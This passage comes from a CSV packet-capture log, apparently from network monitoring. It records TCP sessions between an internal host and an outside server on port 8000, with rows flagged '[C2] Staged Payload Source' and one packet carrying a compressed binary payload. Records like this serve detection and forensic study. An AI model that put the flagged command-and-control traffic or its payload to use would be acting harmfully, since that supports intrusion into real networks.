60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:16.037651,644,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec3e4000400643b5c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.>@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60478, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17333, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:17.053274,645,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0d5400080063f290a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45269, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16169, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:17.053296,646,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec3f4000400643b4c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.?@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60479, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17332, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:18.068915,647,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372853 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0d6400080063f280a98980bc0a3a789fa591f401ef50035502c0e0f50102014edef000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45270, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16168, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372853, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:18.068943,648,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000034ec404000400643b3c0a3a7890a98980b1f40fa59502c0e0f1ef500368010003f0af700000101050a1ef500351ef50036,\".$.6\n..$.)....E..4.@@.@.C.....\n....@.YP,.....6...?\n......\n...5...6\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60480, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17331, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372853, 519372854))]\"\"}}]\"\n2026-07-01 09:10:18.687527,649,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=1345064463 Ack=519372854,bc2411360d0cbc24112907bb080045000028ec414000400643bec0a3a7890a98980b1f40fa59502c0e0f1ef500365011003f0aeb0000,\".$.6\n..$.)....E..(.A@.@.C.....\n....@.YP,.....6P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60481, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17342, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372854, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:18.688682,650,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=519372854 Ack=1345064464,bc24112907bbbc2411360d0c080045000028b0d7400080063f280a98980bc0a3a789fa591f401ef50036502c0e1050102014edee0000,\".$.)...$.6\n...E..(..@...?(\n........Y.@...6P,..P. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45271, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16168, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372854, \"\"ack\"\": 1345064464, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60910, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:18.688683,651,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=519372854 Ack=1345064464,bc24112907bbbc2411360d0c080045000028b0d8400080063f270a98980bc0a3a789fa591f401ef50036502c0e1050112014eded0000,\".$.)...$.6\n...E..(..@...?'\n........Y.@...6P,..P. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45272, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16167, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372854, \"\"ack\"\": 1345064464, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60909, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:18.688726,652,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064464 Ack=519372855,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa59502c0e101ef500375010003f0dc30000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.YP,.....7P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064464, \"\"ack\"\": 519372855, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3523, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:22.713301,653,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=58649343 Ack=0,bc24112907bbbc2411360d0c080045000034b0d9400080063f1a0a98980bc0a3a789fa5f1f40037eeaff000000008002faf061310000020405b40103030801010402,\".$.)...$.6\n...E..4..@...?.\n........_.@.~..........a1..............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45273, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16154, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649343, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 24881, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:10:22.713351,654,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3567895846 Ack=58649344,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa5fd4a9c526037eeb008012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@._...&.~......\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895846, \"\"ack\"\": 58649344, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:10:22.713635,655,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=58649344 Ack=3567895847,bc24112907bbbc2411360d0c080045000028b0da400080063f250a98980bc0a3a789fa5f1f40037eeb00d4a9c52750102014e2ff0000,\".$.)...$.6\n...E..(..@...?%\n........_.@.~.....'P. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45274, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16165, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649344, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 58111, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:22.727465,656,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=58649344 Ack=3567895847,bc24112907bbbc2411360d0c0800450000c9b0db400080063e830a98980bc0a3a789fa5f1f40037eeb00d4a9c52750182014554100009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91fb719ec7a131949a07003ae8ac9b,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q...1....:...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45275, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16003, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649344, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 21825, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91fb719ec7a131949a07003ae8ac9b\"\"}}]\"\n2026-07-01 09:10:22.727486,657,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000282d174000400602e9c0a3a7890a98980b1f40fa5fd4a9c527037eeba15010003f0aeb0000,\".$.6\n..$.)....E..(-.@.@.......\n....@._...'.~..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11543, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 745, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:23.740936,658,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0dc400080063f220a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45276, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16162, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:23.740952,659,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d184000400602dcc0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11544, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 732, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:24.756613,660,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0dd400080063f210a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", 